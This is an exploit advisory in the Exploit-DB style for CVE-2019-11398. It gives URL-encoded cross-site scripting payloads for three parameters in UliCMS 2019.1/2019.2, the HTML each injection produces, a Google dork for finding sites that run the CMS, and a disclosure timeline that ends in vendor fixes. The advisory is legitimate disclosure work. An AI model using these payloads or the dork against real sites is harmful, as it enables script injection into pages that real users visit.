UliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting

# Exploit Title: UliCMS - 2019.2 , 2019.1 - Multiple Cross-Site Scripting
# Google Dork: intext:"by UliCMS"
# Exploit Author: Kağan EĞLENCE
# Vendor Homepage: https://en.ulicms.de/
# Version: 2019.2 , 2019.1
# CVE : CVE-2019-11398

### Vulnerability 1

Url : http://localhost/ulicms/ulicms/admin/index.php?go=test%27%20accesskey=%27X%27%20onclick=%27alert(1)
Vulnerable File : /ulicms/admin/inc/loginform.php
Request Type: GET
Vulnerable Parameter : "go"
Payload: test%27%20accesskey=%27X%27%20onclick=%27alert(1)

Result : <input type="hidden" name="go" value='asd' accesskey='X'
onclick='alert(1)'>

### Vulnerability 2

Url : http://localhost/ulicms/ulicms/admin/index.php?register=register&go=test%27%20accesskey=%27X%27%20onclick=%27alert(1)
Vulnerable File : /ulicms/admin/inc/registerform.php
Request Type: GET
Vulnerable Parameter : "go"
Payload : register=register&go=asd%27%20accesskey=%27X%27%20onclick=%27alert(1)

Result : <input type="hidden" name="go" value='asd' accesskey='X'
onclick='alert(1)'>

### Vulnerability 3 - Authenticated

Url : http://localhost/ulicms/ulicms/admin/index.php?action=favicon&error=%3Cscript%3Ealert(1)%3C/script%3E
Request Type: GET
Vulnerable Parameter : "error"
Payload : action=favicon&error=%3Cscript%3Ealert(1)%3C/script%3E

### History
=============
2019-04-13  Issue discovered
2019-04-13  Vendor contacted
2019-04-13  Vendor response and hotfix
2019-04-14  Vendor releases fixed versions
2019-04-22  Advisory release